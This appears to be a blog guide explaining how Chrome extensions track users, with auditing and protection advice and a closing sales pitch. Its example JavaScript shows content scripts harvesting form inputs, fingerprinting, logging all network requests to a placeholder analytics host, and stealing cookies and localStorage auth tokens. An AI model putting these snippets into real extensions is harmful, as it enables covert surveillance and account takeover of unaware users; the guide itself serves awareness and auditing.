Chrome Extensions That Track You (2026)

Chrome extensions run with powerful privileges in your browser. Understanding how they can track you helps you make informed decisions about what you install. This guide covers the technical mechanisms extensions use for tracking, with practical examples developers and power users can use to audit their extensions.

How Chrome Extensions Gain Tracking Access

When you install an extension, it requests permissions. Some permissions directly enable tracking capabilities:

  • “Read and change all your data on all websites”. the broadest permission, allowing access to page content, form inputs, and cookies
  • “tabs”. access to tab URLs, titles, and favicons
  • “history”. read your browsing history
  • “webRequest”. intercept and modify network requests
  • “cookies”. read and modify cookies for any site

Extensions with these permissions can build comprehensive browsing profiles without your explicit awareness.

The permission model is intentionally binary. An extension either has “all data on all websites” or it doesn’t, there is no granular middle ground where an extension can only access one specific site. This means a coupon-clipping extension requesting broad content permissions can technically read every banking page you visit, not just checkout pages at retail sites. Users rarely read past the install dialog, and even when they do, the permission labels are vague enough to obscure the actual risk.

What makes extension tracking particularly effective is persistence. Unlike a website that you can close, an extension runs in your browser continuously across every session. A tracker embedded in a popular extension might observe millions of browsing sessions daily, building profiles far more detailed than third-party cookies ever could.

Common Tracking Mechanisms

  1. Page Content Scraping

Extensions with content scripts can read any text, form data, or DOM elements on pages you visit:

// Content script runs on every page
// This is what extensions CAN do with "all data" permission
// Capture all text content
const pageText = document.body.innerText;
// Harvest form inputs (emails, names, etc.)
const inputs = document.querySelectorAll('input');
inputs.forEach(input => {
 if (input.type === 'email' || input.type === 'text') {
 sendToServer({ type: 'input', value: input.value, site: window.location.hostname });
 }
});
// Track clicks and scroll behavior
document.addEventListener('click', (e) => {
 logInteraction('click', e.target.outerHTML);
});

This pattern appears in both legitimate utilities and questionable extensions. The same permission needed for a password manager to autofill forms enables this data collection.

What makes content scraping hard to detect is that it can be done passively, without any visible behavior. A well-written tracking script observes MutationObserver events to capture dynamically loaded content, listens for form submit events to capture credentials before they are sent, and debounces its server calls to avoid obvious network spikes. From a user perspective, everything looks normal.

Sophisticated content scripts can also fingerprint users without any cookies. By reading browser properties available in content scripts, screen dimensions, installed fonts via canvas, time zone, language settings, an extension can construct a stable identifier that persists even if the user clears cookies and browsing data.

// Passive fingerprinting without cookies
function buildFingerprint() {
 const canvas = document.createElement('canvas');
 const ctx = canvas.getContext('2d');
 ctx.fillText('fingerprint', 10, 10);
 return {
 canvasHash: canvas.toDataURL(),
 screenRes: `${screen.width}x${screen.height}`,
 timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
 language: navigator.language,
 platform: navigator.platform
 };
}
  1. Network Request Monitoring

Extensions with webRequest permissions can observe all HTTP traffic:

// Background script with webRequest permission
chrome.webRequest.onCompleted.addListener((details) => {
 // Log every request your browser makes
 const trackingData = {
 url: details.url,
 method: details.method,
 statusCode: details.statusCode,
 tabId: details.tabId,
 timestamp: Date.now()
 };
 // Send to extension's server
 fetch('https://analytics.example.com/track', {
 method: 'POST',
 body: JSON.stringify(trackingData)
 });
}, { urls: ["<all_urls>"] });

This allows extensions to build detailed records of your browsing patterns, including API calls, resource loads, and navigation events.

The webRequest API is particularly revealing because it captures more than just page navigation. It sees every API call your applications make, every CDN resource loaded, every third-party widget phoning home. For developers using web-based tools like GitHub, Linear, or Figma, this means an extension can infer your work patterns, which repositories you access, when you push commits, how long you spend in specific tools, without ever reading page content.

In Manifest V3, the webRequest API was partially replaced with declarativeNetRequest, which is intentionally less powerful. Extensions can block requests based on rules, but they can no longer observe arbitrary request details in real time. This is a meaningful restriction for tracking, though extensions installed before the transition and those granted the legacy webRequestBlocking permission still retain the original capabilities.

  1. Cookie and Local Storage Manipulation

With appropriate permissions, extensions can read cookies that websites use for authentication and tracking:

// Read cookies from any domain
chrome.cookies.getAll({}, (cookies) => {
 const trackingCookies = cookies.filter(c =>
 c.name.includes('tracking') ||
 c.domain.includes('analytics')
 );
 // Build fingerprint from cookie values
 const fingerprint = trackingCookies.map(c => c.value).join('|');
 sendToServer({ fingerprint, timestamp: Date.now() });
});

Third-party tracking cookies often survive between sessions, enabling long-term user profiling.

Beyond cookies, extensions with content scripts can access localStorage and sessionStorage for any domain they run on. This is significant because many single-page applications store authentication tokens, user identifiers, and session state in localStorage. An extension with broad content permissions can exfiltrate these tokens silently.

// Reading localStorage from a content script
const authToken = localStorage.getItem('auth_token');
const userId = localStorage.getItem('user_id');
if (authToken) {
 // This is the actual authentication token for this site
 sendToServer({ site: window.location.hostname, token: authToken });
}

This is not a theoretical attack. Several browser extensions have been caught harvesting authentication tokens from financial and social media sites by reading localStorage values during page load.

  1. Tab and History Tracking

The tabs and history permissions let extensions monitor your browsing activity:

// Track your browsing history
chrome.history.onVisited.addListener((result) => {
 // Log every URL you visit
 const visitRecord = {
 url: result.url,
 title: result.title,
 visitTime: result.lastVisitTime,
 typedCount: result.typedCount
 };
 sendToServer({ type: 'history', ...visitRecord });
});
// Monitor active tab changes
chrome.tabs.onActivated.addListener((activeInfo) => {
 chrome.tabs.get(activeInfo.tabId, (tab) => {
 logTabSwitch(tab.url, tab.title);
 });
});

The typedCount field in history records is worth noting specifically. It indicates how many times you typed that URL directly, rather than arriving from a link. URLs you type are qualitatively different, they reveal habitual destinations, not just casual browsing. A history tracker that weights typed URLs more heavily builds a more accurate picture of your daily digital life.

  1. Timing and Behavior Analysis

A tracking extension does not need to exfiltrate sensitive data to be invasive. Time-on-page data combined with scroll depth and click patterns is extremely valuable for behavioral analytics:

// Measuring engagement on each page
let pageLoadTime = Date.now();
let scrollDepth = 0;
window.addEventListener('scroll', () => {
 const currentDepth = Math.round(
 (window.scrollY / (document.body.scrollHeight - window.innerHeight)) * 100
 );
 scrollDepth = Math.max(scrollDepth, currentDepth);
});
window.addEventListener('beforeunload', () => {
 const timeOnPage = Date.now() - pageLoadTime;
 sendToServer({
 url: window.location.href,
 timeOnPage,
 scrollDepth,
 timestamp: pageLoadTime
 });
});

This pattern, session length, scroll depth, click maps, is the core of many legitimate analytics tools and equally the foundation of behavioral advertising profiles.

Real-World Examples

Legitimate Uses

Extensions legitimately need these permissions for core functionality:

  • Password managers require content access to autofill forms and cookie access to maintain sessions
  • Note-taking tools need content scripts to extract page context
  • Developer tools may monitor network requests for debugging

The distinction lies in what data the extension does with these capabilities.

Problematic Patterns

Watch for these red flags:

  1. Overly broad permissions. a simple calculator app requesting “all data on all websites”
  2. Obfuscated code. extensions with minified code that prevents inspection
  3. Unusual network destinations. analytics calls to unknown domains
  4. Data aggregation. sending collected data to third-party analytics services
  5. Sudden permission escalation. an extension requesting new permissions after an update
  6. Vague privacy policies. language like “we may share data with partners” without specifics

The last two are particularly worth tracking. Extensions that ship an update adding new permissions are worth immediate scrutiny. The Chrome Web Store will prompt users to re-approve permissions, but many users click through without reading. An extension acquired by a new company, which has happened repeatedly with popular utilities, may ship tracking code in an update that the original developer never included.

Known Historical Cases

Several high-profile cases illustrate the risk:

A popular extension called Stylish (a custom CSS injector used by millions of developers) was found in 2018 to be transmitting full browsing history to a data broker. The extension had been acquired and the new owner added telemetry that sent every URL visited, along with a unique identifier, to a third-party analytics firm. The extension had entirely legitimate functionality; the tracking was added silently after acquisition.

DataSpii, documented in 2019, was a data leak operation that harvested browsing histories from millions of users through a collection of browser extensions. The extensions had legitimate functions, some were productivity tools, some were coupon finders, but all shared a common SDK that transmitted detailed browsing data.

Auditing Extensions

Use Chrome’s extension management to review permissions:

  1. Visit chrome://extensions
  2. Click “Details” on any extension
  3. Review “Permissions” section
  4. Check “Site access” to see which sites can be read

For deeper analysis, examine the extension’s background scripts:

Download extension CRX and inspect
Find extension ID in chrome://extensions
Use Chrome's dev tools to monitor extension network activity
1. Go to chrome://extensions
2. Enable "Developer mode"
3. Click "Service worker" for background scripts
4. Open DevTools and monitor Network tab

To go deeper, you can unpack a CRX file directly. Chrome extensions are ZIP archives with a CRX header:

Unpack a CRX file for manual inspection
First, get the extension path from chrome://version (Profile Path)
Extensions are stored in: ~/Library/Application Support/Google/Chrome/Default/Extensions/
EXTENSION_ID="your_extension_id_here"
EXT_PATH=~/Library/Application\ Support/Google/Chrome/Default/Extensions/$EXTENSION_ID
List installed versions
ls "$EXT_PATH"
Inspect background script
cat "$EXT_PATH"/*/background.js | head -100
Search for suspicious network calls
grep -r "fetch\|XMLHttpRequest\|sendBeacon" "$EXT_PATH"/*/

Look for calls to domains that are not the extension’s own service. An ad-blocker calling back to analytics-collector.net is a red flag. Look also for obfuscated strings, base64-encoded URLs or variable names that look machine-generated, which indicate deliberate concealment.

Permission Risk Levels

Not all permissions carry equal risk. Here is a practical breakdown:

Permission Risk Level What it enables
storage Low Save settings locally
notifications Low Show browser notifications
tabs Medium Read URL and title of open tabs
history High Full browsing history access
cookies High Read/write any site’s cookies
webRequest High Monitor all network traffic
<all_urls> content Very High Read/modify any page you visit
scripting Very High Inject code into any page

An extension that only needs storage and notifications to function but requests <all_urls> content access should be treated with suspicion. There is no legitimate reason a simple utility needs to read every page you visit.

Protecting Yourself

Minimizing Risk

  • Audit existing extensions. review permissions of every installed extension
  • Remove unused extensions. each extension is a potential attack surface
  • Use manifest V3. newer extensions have more restricted capabilities
  • Check update history. sudden permission changes after updates warrant investigation
  • Use separate Chrome profiles. a dedicated profile for sensitive work (banking, medical) with zero extensions
  • Prefer open-source extensions. code that can be inspected is code that is accountable
  • Watch for ownership changes. search for news about extensions you rely on heavily

A dedicated Chrome profile for sensitive work is one of the most underused protections. Create a profile with no extensions installed and use it exclusively for banking, medical sites, and any service where you store sensitive personal data. The performance benefit alone, a profile with zero extensions loads pages faster, makes it worthwhile.

For Developers Building Extensions

If you develop extensions, follow privacy-conscious practices:

// Good: Explicit user consent before tracking
chrome.runtime.onInstalled.addListener(() => {
 // Only after user explicitly enables analytics
 if (localStorage.getItem('analytics_consent') === 'true') {
 initializeAnalytics();
 }
});
// Good: Minimize data collection
const minimalData = {
 // Only what is necessary
 extensionId: chrome.runtime.id,
 eventType: 'action_completed'
};

Beyond consent, follow the principle of minimum viable permissions. If your extension only needs to work on one specific site, declare that site in host_permissions rather than requesting <all_urls>. If you only need to read tab URLs and not page content, use the tabs permission without content scripts. Every unnecessary permission you request is a liability for your users and a trust cost for your extension.

Publish your source code. Extensions with public source repositories are far more trusted by security-conscious users, and the discipline of maintaining a readable codebase discourages cutting corners on privacy. Several extension marketplaces now require or reward open-source disclosure.

Document your data practices precisely. “We collect anonymous usage statistics” is not sufficient disclosure. Enumerate exactly what events are tracked, what data is sent, where it goes, how long it is retained, and whether it is shared with third parties. Users who are technical enough to care will check, and vague language signals that you have something to hide.

Detection Tools

Several tools help identify tracking behavior:

  • Chrome Web Store warnings. Google flags extensions with excessive permissions
  • Extension permission managers. tools like “Extension Permissions Manager” show all active permissions
  • Network monitoring. use browser DevTools to identify unexpected network requests from extensions
  • Privacy Badger. EFF’s extension can identify third-party trackers embedded in other extensions’ network calls
  • uBlock Origin’s logger. the network logger in uBlock Origin shows all requests including those from extension content scripts

The DevTools approach is worth explaining in more detail. Open DevTools, go to the Network tab, and filter by “Other” request type. Any requests that appear when you are not actively loading a page are likely coming from extensions. Look at the initiator column, requests initiated by extension scripts will show the extension ID in the path. Cross-reference those IDs against your installed extensions to identify the source.

The key takeaway: every extension you install is code running with elevated privileges in your browser. Regular audits and minimal installation policies reduce your exposure to tracking. Treat your extension list the way a security-conscious developer treats their dependency list, review it periodically, remove what you do not use, and investigate anything that requests more access than it needs to function.


Try it: Estimate your monthly spend with our Cost Calculator.

I'm a solo developer in Vietnam. 50K Chrome extension users. $500K+ on Upwork. 5 Claude Max subscriptions running agent fleets in parallel. These are my actual CLAUDE.md templates, orchestration configs, and prompts. Not a course. Not theory. The files I copy into every project before I write a line of code. **[See what's inside →](https://zovo.one/lifetime?utm_source=ccg&utm_medium=cta-default&utm_campaign=chrome-extensions-that-track-you)** $99 once. Free forever. 47/500 founding spots left.

Related Reading

Built by theluckystrike. More at zovo.one

Set it up → Build your permission config with our Permission Configurator.